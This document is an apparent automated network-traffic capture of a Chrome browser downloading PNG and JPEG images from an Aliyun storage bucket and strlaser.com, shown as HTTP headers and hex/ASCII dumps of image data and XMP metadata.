2024-09-27 03:51:01 UTC	15840	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 78 00 00 00 78 08 06 00 00 00 39 64 36 d2 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 3b 5a 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 0a 20 20 20 3c 72 64 66 Data Ascii: PNGIHDRxx9d6pHYs;ZiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?><x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf
2024-09-27 03:51:01 UTC	4828	IN	Data Raw: ca 1d 7f 02 ec 70 fe 7e 15 b0 a0 80 86 9d 00 6b 5d 21 ad f1 a0 d1 43 ae ce 1d 65 84 6a bc 82 7d d1 a2 9a 1d 32 0c e7 3e 00 bc 01 d8 e6 a8 21 7f fc 8f fc b3 63 19 b0 67 d1 9a e4 15 63 cb bd 8a 6f 73 2a 3f 77 3a a1 ce 6d c9 b5 52 80 3b 3e 00 e7 de e0 e8 ce 18 b8 b1 35 59 00 ec e1 fc bd 43 7e 13 5d 93 2c 71 34 26 a5 58 76 ad e5 a9 11 c5 96 9b 00 f7 7e 25 b8 c8 6f f7 73 fe fe 3e b0 b9 88 d6 3c a1 08 aa a2 87 52 86 1f eb 30 a8 ea 00 f7 f3 c0 da 00 b8 27 2a c1 7d 05 f0 91 40 d0 a3 f0 45 ce 1b b0 20 b5 e0 4e 93 36 42 95 02 dc aa 9e 41 2a 70 57 09 98 fb 38 9f f5 80 bf 2a 93 52 f9 2c 73 85 5c 9d 3b 95 00 dc aa 9e 41 1d e0 de 04 bc 39 22 96 b7 2b c0 3d 18 b8 0b 38 c0 fb fc 77 81 ef 95 05 6c f2 11 e8 dc aa 7e ee a8 c1 1d 4f 1c 8d 73 c1 bd 19 38 35 62 50 69 c0 7d 39 Data Ascii: p~k]!Cej}2>!cgcos?w:mR;>5YC~],q4&Xv~%os><R0'}@E N6BApW8R,s\;A9"+=8wl~Os85bPi}9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49851	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:01 UTC	659	OUT	GET /images/2024/05/10/sichuang/image_1715310520_AGtJf5BI.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:01 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:01 GMT Content-Type: image/png Content-Length: 310914 Connection: close x-oss-request-id: 66F62BA51658453836DED144 Accept-Ranges: bytes ETag: "3C28A97AFC5FDEEA34923D6600000000" Last-Modified: Fri, 10 May 2024 03:19:16 GMT x-oss-object-type: Appendable x-oss-hash-crc64ecma: 16924069987699206204 x-oss-next-append-position: 310914 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true x-oss-server-time: 3
2024-09-27 03:51:01 UTC	15837	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 e4 00 00 02 62 08 06 00 00 00 8f 4d d7 a0 00 00 00 09 70 48 59 73 00 00 0f 61 00 00 0f 61 01 a8 3f a7 69 00 00 06 a7 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDRbMpHYsaa?iiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RD
2024-09-27 03:51:01 UTC	16384	IN	Data Raw: 85 75 bd 94 09 93 13 4d 86 8e 6f c4 2b 19 91 77 02 7b a4 c2 b0 7f 3a b2 56 40 a1 7a ed c6 09 6c 21 6e eb 4f 8d c2 b5 c7 08 da c2 2f be 38 63 40 97 22 14 e4 83 61 53 51 9c 0d 84 cd 1b 31 30 e2 dc 6c a2 52 cb 42 d6 75 98 fd 56 69 ec f5 a2 2b d1 84 63 54 c5 6f 64 16 09 6d c2 4b 6a 93 47 a5 65 91 9e 52 50 59 94 02 95 85 61 4c f7 d1 26 34 26 a5 0c 9c 73 04 7e 80 66 73 0c 63 63 63 a8 d7 9b 08 82 20 8d 7f 9a 0e 70 cd 1b 18 45 bf 41 11 96 d1 5c 1b 21 24 16 4f 7f 1a 87 6f 7e 07 5e f6 d2 97 e1 d3 9f f9 24 06 83 75 04 01 4b 1b 0c c6 52 de eb 76 bd 9f fd a5 3f fe a3 df fc d5 1f 7e e5 be e9 f1 d2 34 d6 57 0a 42 88 27 57 23 3b 1c 97 39 59 14 96 66 a3 8e ab af 3e 60 aa d8 51 56 92 8b 71 6c 10 74 ba 3d fe a5 2f df c7 b2 1a b8 14 03 80 a0 f4 dc e5 39 aa b8 5b 10 00 48 07 Data Ascii: uMo+w{:V@zl!nO/8c@"aSQ10lRBuVi+cTodmKjGeRPYaL&4&s~fsccc pEA\!$Oo~^$uKRv?~4WB'W#;9Yf>`QVqlt=/9[H
2024-09-27 03:51:01 UTC	16384	IN	Data Raw: 64 a6 88 8a e7 c4 6a 73 e5 e7 3a fc 14 6d d2 14 d5 c5 3a 9d 46 96 a1 14 9a f1 f3 87 3c be 18 5c 24 0b b9 39 b1 5a 7d 17 c2 b1 c3 88 da c7 40 a8 1d 3a 2e bd 60 a9 60 89 a3 08 fb f6 ee c7 a1 83 57 e1 f4 99 53 68 36 9b 88 e3 38 15 e4 1c 94 26 a0 84 a0 d7 99 03 f7 9b 58 59 25 de 6f fc e7 ff fd 5b bf f0 73 3f fc 0a 02 74 01 33 f0 4e 6b 02 ee ac 84 8e a7 88 89 41 4c 41 28 20 24 9b 38 7d 6e f9 7d 7f fd 7f 3f fb af cf 9e 3a ba ff bd ef 7e 07 fa fd 01 3e f9 c9 4f a0 d3 69 03 a8 74 0c 6a cb 5a a1 01 a5 12 04 cd 6b d1 98 bc 06 5a 26 28 e2 0c 93 e2 31 28 8e 5c bc b3 d2 fa 83 12 8a f9 c5 d5 6f d9 b7 77 92 28 cb 34 95 0d e2 9c 99 59 dc d2 c2 e0 70 3c d3 c8 ac d9 8c f9 e0 9c 63 6d 75 fd f6 c7 1e 7f fc cd c7 8e 9f 78 fb ec dc c2 b7 24 42 f9 41 58 c3 d8 c4 1e ec 09 43 70 Data Ascii: djs:m:F<\$9Z}@:.``WSh68&XY%o[s?t3NkALA( $8}n}?:~>OitjZkZ&(1(\ow(4Yp<cmux$BAXCp
2024-09-27 03:51:01 UTC	16384	IN	Data Raw: 1b 45 cb f5 65 d4 2e 2a d2 42 2e 0f 95 f1 83 00 be e7 43 08 8e 91 91 11 78 9e 8f 34 4d 25 6d 7c c9 17 da dd 05 2c 2e 2e a0 d7 ed 22 cf 33 40 e7 e3 f9 f0 7d 0f 9e 0a a7 ca 79 8e 2c cb 8c 9b 93 e7 79 08 82 00 51 14 a1 d9 6c ca a8 22 c2 2a 9e 5c c7 5d cf 73 a4 69 66 5c 62 72 72 ca a9 de d0 64 b6 d6 28 21 ac 05 be ee 5b 3f f0 e1 57 b0 64 21 04 16 db 8b fe dc fc dc fa 6d 5b b7 ad ff f9 75 d7 fd e1 b5 d7 fe f4 b6 57 bf fa 95 6f 19 18 18 f9 41 e9 85 df 52 ca b9 b5 92 7f 45 47 5c 39 9a 28 23 ca 56 3f f8 4b c7 b8 d7 e7 3a d3 79 11 b7 21 80 99 e5 f7 a5 dd 56 ca fb 36 2c b4 b4 c9 e4 79 d4 46 d1 77 fa a1 5c 5b 71 0d 4a 8c 11 48 58 19 47 e7 79 a5 4a 5c a8 4a af d7 53 46 0d c2 53 20 57 1a 5b 03 83 58 bf 7e 23 82 c0 57 d1 6b fa a1 b1 12 02 27 f4 ab 6a 8f ee 81 c2 bd 22 Data Ascii: Ee.B.Cx4M%m\|,.."3@}y,yQl"\]sif\brrd(![?Wd!m[uWoAREG\9(#V?K:y!V6,yFw\[qJHXGyJ\JSFS W[X~#Wk'j"
2024-09-27 03:51:01 UTC	16384	IN	Data Raw: e7 3f 17 ff f0 0f 1f 45 2b 0c 4a 45 b8 74 2a ce 96 e2 5a 07 53 f5 c9 f1 c7 7f fc 3c 1c 3c 78 18 df fd cf ef e1 b4 d3 4f c7 e8 e8 08 1e ff f8 c7 e1 11 8f b8 d8 00 e4 33 ce 38 15 9f fc e4 c7 f1 d6 b7 bc 13 9f f9 ec e7 f1 c4 27 3e 1e cf 7a d6 1f e1 13 9f f8 67 b4 5a 4d 98 e8 76 25 0b 25 1d 44 1a 40 83 80 69 18 f7 95 72 bd ab 52 d1 af db 72 61 ca 3b 7f db e9 f8 f8 90 7b 04 5f 33 75 8c 29 63 d8 b2 75 1b da 73 fb e0 e5 29 e4 ba b0 16 dc 04 f2 18 cd 48 df 16 84 0d 59 a0 62 c9 47 83 cb db ce 90 40 04 ea d0 92 1c 9e 27 10 86 3e c2 c0 83 ef 4b 81 ab 63 20 7b cc 93 cb e5 1e 33 20 d1 0f 02 78 4c 82 4a df 57 d6 53 50 f0 ca 54 bc 64 e9 0f a6 83 d4 07 be 5a 9e f7 7d 30 08 65 21 94 40 36 f0 3d 03 ba 3d 8f c9 7b 7a 39 df 67 06 30 1a b0 ab 7e eb 13 ff 24 b0 f6 94 16 67 2d Data Ascii: ?E+JEt*ZS<<xO38'>zgZMv%%D@irRra;{_3u)cus)HYbG@'>Kc {3 xLJWSPTdZ}0e!@6=={z9g0~$g-
2024-09-27 03:51:01 UTC	16384	IN	Data Raw: 04 00 25 5c 32 62 d1 08 4c 37 20 37 fc 80 73 fb 5c 14 86 19 47 44 cd 24 70 b7 3d 0c b0 d2 02 c0 ea 14 ad 15 97 bf 1b 70 ec 8b 09 1e b8 2b c1 e3 2f 55 38 bd 1d e1 fa 05 86 24 22 78 79 83 e3 5b 4f 35 f8 91 7b 12 7c f7 f5 02 ab 2c 42 ac 26 01 53 8c d0 d0 6e ea 2a 09 e7 f6 56 22 a0 f4 48 4d c3 30 1c 0c f1 4b bf fc 49 c4 31 c5 6f ff f6 1f 60 7d 75 0d fd 7e 1f 8b 8b fb 70 ea 9a 13 b8 fe fa 6b 71 ea d4 71 34 0d c3 68 34 c2 5b 6f 5d c0 17 3e ff a7 98 9b 9d c5 0f 7d e4 43 a8 ca 06 df fd ee 0f 90 28 1f ab de aa 4f 55 3d 34 e6 9b a6 c1 be c5 7d a0 84 e0 f2 e5 65 7d f3 9f 02 69 ac 69 10 47 09 d2 5e 82 38 8e cd 56 a0 2c 82 52 8a d1 ce 08 55 d5 a0 df 1f 60 95 ad 8a 9d 83 bd 0c 02 8b 03 d8 bb 1a 45 5e e0 9e 7b ee c6 e1 c3 07 f0 9f fe d3 e7 84 87 0f a9 b5 dd d8 5c 47 44 Data Ascii: %\2bL7 7s\GD$p=p+/U8$"xy[O5{\|,B&Sn*V"HM0KI1o`}u~pkqq4h4[o]>}C(OU=4}e}iiG^8V,RU`E^{\GD
2024-09-27 03:51:01 UTC	16384	IN	Data Raw: 51 2a 2e 9a 91 0b 02 22 7f db 1f 05 ae a8 ae bb 32 4b 30 a0 d2 64 eb 09 09 d9 4e ee 81 19 79 0d bc 05 02 95 b9 88 38 a8 c9 b5 56 54 57 c9 59 64 28 8d ae 28 cf 07 77 ea 37 95 26 45 44 5e a4 a3 9b 43 93 45 ac 0f d5 60 5a 2f b0 88 01 76 ea 22 1e e5 83 5c 8c 03 2a da 4f 5d d6 43 dc b1 41 55 bb a9 cb 9f 9c 2e 51 d2 2b 00 a1 88 fb 9b 10 35 cd 61 40 a9 ea 48 5b a6 db 80 d5 da 19 b0 db c4 d9 f1 e0 72 77 84 71 70 c6 85 7f 6f dd 49 0e 57 98 06 ed 4c 7e d6 42 97 78 b4 a9 c7 ce 6e 47 30 78 2c 8c b7 3f bb 07 2e cb 23 d2 9f 78 8a 2c cb 70 f0 d0 61 54 75 85 d7 5f 7b 05 79 91 a3 96 57 11 8b dd 16 61 33 9e f6 7a 28 ab 52 b8 2e 04 41 5d 37 98 99 99 c3 dc ec 3c 16 17 f7 e3 f0 91 63 d8 dc dc c0 68 b4 23 b5 eb 8d 30 7f aa 6b 5c 7b cd f5 38 70 f0 10 5e 7e f9 79 8b 92 a0 58 70 Data Ascii: Q."2K0dNy8VTWYd((w7&ED^CE`Z/v"\O]CAU.Q+5a@H[rwqpoIWL~BxnG0x,?.#x,paTu_{yWa3z(R.A]7<ch#0k\{8p^~yXp
2024-09-27 03:51:01 UTC	16384	IN	Data Raw: af ac 2e 5f 7b ea d4 c9 d7 48 70 11 13 0e 57 05 90 d7 35 e7 5c f2 6b db ed 96 11 57 c4 fa 2e 82 0d b9 c1 a5 86 49 ad 74 14 a0 f0 04 83 7f a2 d6 67 82 9c 88 86 b7 15 64 0a 3c db b8 dc cc 8b 2e c4 2b e8 e5 dc 16 11 4a e2 10 d3 93 de 4e 80 c8 d7 96 f0 c1 af 68 c7 5a 03 cf 62 70 ce 78 d4 bf b9 15 e1 67 3c 95 13 98 6a c0 1b d4 7e 33 04 c1 8d 5d 86 9b a0 15 b3 8b 40 f2 6a d0 2a de 24 e4 6e 82 2e 8a ac ad 62 3f 13 27 6f 6e c7 13 30 0e 9c 3f 7f 16 ab ab 2b e8 f7 fb 38 76 f4 08 d6 d6 36 d0 d4 8d de f2 7f ff fb df 8b 87 1f 7a 08 97 97 2e a2 28 0b c4 49 2c 0f 80 a0 43 4b 6b 8f 39 8e 24 26 a8 4b c1 2c 22 4a 2d 19 6c 2f 47 b9 ee 17 45 a7 bf 15 6c b3 11 b5 65 27 9a c8 7d aa 6b 47 cc 49 6f a5 91 55 5b 71 f6 e9 6f 75 e1 41 59 96 52 63 2a ea 3d 99 8c ad f9 48 b4 97 13 40 Data Ascii: ._{HpW5\kW.Itgd<.+JNhZbpxg<j~3]@j$n.b?'on0?+8v6z.(I,CKk9$&K,"J-l/GEle'}kGIoU[qouAYRc=H@
2024-09-27 03:51:01 UTC	16384	IN	Data Raw: a8 be 36 bc 1a 0c 98 4c 26 b8 76 ed 8a f5 a5 1b ce 6f 80 d9 8b 87 52 36 e4 aa 8a 2c fe b3 8b 1d 3d a6 bb 3d f0 7c 00 c9 0a 74 cd ae 3a 23 50 2e 43 74 53 48 51 03 48 08 cb 50 e8 07 3f ed 6c ef d9 66 48 f3 99 14 b0 0b c1 b8 3b 54 e8 67 14 73 6e 3f a3 c5 1d c9 82 f9 6c 5b 29 14 0e 3d 8c 98 4c fb 9e d0 cf 8d e3 84 3d 0d da 93 ab 99 73 8b 23 07 ed b3 20 bf 70 15 e7 30 9d c7 34 09 e5 61 1f 51 91 b2 0f 52 4d e4 11 43 38 dd e8 07 42 a9 34 47 4a 23 21 0c b0 bc ac 87 92 18 ca 30 40 f6 d5 c5 f0 76 6f 4c 06 3b 45 e4 55 c4 be bc 37 5a 66 92 37 d1 f7 3e 78 94 1a 42 a4 e2 c1 34 4a b6 a7 15 d3 32 ce d2 a4 09 b1 53 34 4f a0 5b 43 bf f4 76 e9 74 64 0a db 2c 29 c1 ae 34 23 6d 6e 6e eb 6c bb 16 45 59 58 fe ae 76 76 4d 89 aa e5 ec 79 22 d1 e9 83 f4 39 84 94 d8 d9 d9 41 3d 9f Data Ascii: 6L&voR6,==\|t:#P.CtSHQHP?lfH;Tgsn?l[)=L=s# p04aQRMC8B4GJ#!0@voL;EU7Zf7>xB4J2S4O[Cvtd,)4#mnnlEYXvvMy"9A=
2024-09-27 03:51:01 UTC	16384	IN	Data Raw: 3c 9e e7 e8 d7 31 a5 da 89 6d bb 0e 6d d3 7a b7 32 37 4d b3 2f 7b b8 6f 36 e4 9c 67 6a ed ae 3b d8 c9 04 df 8d 54 ec be 5d e8 2b aa c9 d6 74 12 38 b9 fc 40 07 81 c9 8f b6 25 0b 52 19 26 66 24 b2 c7 55 52 25 39 e0 19 01 39 ba dd 11 92 16 ff 8c 9f 04 e9 cc dc 68 5b e5 99 a2 aa d4 56 75 5d cf 51 cf 6b e4 79 0e 9e 71 af 7e b1 d6 da 67 ed 1e cf a2 64 d0 36 d8 37 c4 13 d9 6e f7 68 41 64 dc d2 ad 1e 5a c5 f2 f2 32 a4 94 d8 da da c6 f6 d6 96 f2 a4 91 e5 ca 76 da 6b 33 4f aa 25 5a 29 dd d7 24 03 57 15 b8 11 65 99 89 8e 66 46 88 f2 92 e6 1a 4f 86 f5 67 7e 3d 23 66 4c f2 8c 19 b0 f4 d2 51 da cc d9 43 05 f2 cc 04 76 cb c9 28 cf 14 43 92 e6 bb cb cc 09 db 78 0c 9b b2 c2 67 d1 a0 a4 ed 93 18 0b 4d db e8 2d 38 a5 0d e5 99 32 eb 30 5b 71 9d 50 26 2d 6e 60 48 80 29 cd ae Data Ascii: <1mmz27M/{o6gj;T]+t8@%R&f$UR%99h[Vu]Qkyq~gd67nhAdZ2vk3O%Z)$WefFOg~=#fLQCv(CxgM-820[qP&-n`H)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	49854	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:01 UTC	659	OUT	GET /sichuang/images/2023/04/03/image_1680511204_BXx9E5Nl.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:01 UTC	544	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:01 GMT Content-Type: image/png Content-Length: 22662 Connection: close x-oss-request-id: 66F62BA5B4F3D436388554BF Accept-Ranges: bytes ETag: "FDBCD303148C73517D4E401226D0A2BA" Last-Modified: Mon, 29 Jan 2024 03:33:53 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 6008215918346465801 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: /bzTAxSMc1F9TkASJtCiug== x-oss-server-time: 2
2024-09-27 03:51:01 UTC	15840	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 78 00 00 00 78 08 06 00 00 00 39 64 36 d2 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 3b 5a 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 0a 20 20 20 3c 72 64 66 Data Ascii: PNGIHDRxx9d6pHYs;ZiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?><x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf
2024-09-27 03:51:01 UTC	6822	IN	Data Raw: 1e 52 5a 63 71 05 a1 a0 a1 04 ae da 52 40 6b ab 51 7b 80 c6 b2 2d 82 da 82 ad ac 13 8b 24 0d 10 17 0a 62 ed 0b 37 c5 bd 72 c5 0e e4 08 4a 3d 8b a2 15 d8 81 75 7a 5e 11 58 d0 1d 07 71 39 5c aa ec dc 5c 21 92 9c 73 1a a1 3b 64 3e 5c 65 11 ab d8 6a 6c 92 65 b4 03 44 d2 34 f1 5c 99 28 02 70 1a 5b d6 58 56 5d b0 28 ce 26 7d 6c b9 ee 61 af 31 44 f2 b1 e5 5a c4 82 4e 42 44 52 08 cc 4d 2f d7 82 ee 61 01 2e 39 d2 74 ac 20 c9 a2 38 91 3e 06 60 26 5b 1c 56 71 58 0d e0 7b 00 9e 11 ea fd 64 00 5f 04 30 89 e0 d7 00 b8 08 c0 a3 02 b1 43 00 be 02 e0 3d 34 89 26 80 9f 01 58 aa c8 f8 d0 ce d5 88 eb 83 6b 46 ca 5c ce e9 24 27 ac 45 c8 5c 4d 56 6b 1a 76 9d 7c 13 be 45 91 65 9e 55 5c 0f 3c 84 ef 24 4e dc bf 00 70 96 e7 fa 8f 03 98 06 e0 25 86 8c 9f 00 98 23 ae 3b 13 c0 54 00 Data Ascii: RZcqR@kQ{-$b7rJ=uz^Xq9\\!s;d>\ejleD4\(p[XV](&}la1DZNBDRM/a.9t 8>`&[VqX{d_0C=4&XkF\$'E\MVkv\|EeU\<$Np%#;T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	49853	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:01 UTC	659	OUT	GET /sichuang/images/2023/04/17/image_1681709920_iYSN17Wo.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:01 UTC	543	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:01 GMT Content-Type: image/png Content-Length: 3610 Connection: close x-oss-request-id: 66F62BA532308130305DEEE0 Accept-Ranges: bytes ETag: "DD8E16BC461EDFE15C79429BF69D2C88" Last-Modified: Mon, 29 Jan 2024 03:33:45 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 5484108328647355098 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 3Y4WvEYe3+FceUKb9p0siA== x-oss-server-time: 1
2024-09-27 03:51:01 UTC	3610	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 e4 00 00 02 62 08 06 00 00 00 8f 4d d7 a0 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 6d 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDRbMtEXtSoftwareAdobe ImageReadyqe<miTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	49857	211.149.140.201	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:01 UTC	608	OUT	GET /resources/assets/images/news2.jpg HTTP/1.1 Host: www.strlaser.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:01 UTC	347	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:51:10 GMT Content-Type: image/jpeg Content-Length: 55478 Last-Modified: Wed, 15 Mar 2023 03:43:06 GMT Connection: close ETag: "64113eca-d8b6" Expires: Sun, 27 Oct 2024 03:51:10 GMT Cache-Control: max-age=2592000 Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-09-27 03:51:01 UTC	16037	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 2e 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 